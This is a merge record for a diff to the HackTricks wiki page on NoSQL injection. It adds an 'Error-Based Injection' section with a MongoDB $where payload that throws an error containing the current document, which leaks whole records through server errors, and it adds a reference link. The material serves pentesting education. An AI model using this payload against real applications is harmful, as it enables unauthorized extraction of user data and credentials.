Merge pull request #1043 from HackTricks-wiki/update_NoSQL_Error-Based_Injection_20250708_183756

Add content: NoSQL Error-Based Injection

Author: carlospolop

src/pentesting-web/nosql-injection.md

@@ -126,6 +126,14 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference
 ]
 ```
 
+### Error-Based Injection
+
+Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:
+
+```json
+{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
+```
+
 ## MongoDB Payloads
 
 List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@@ -253,6 +261,7 @@ for u in get_usernames(""):
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
+- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
 
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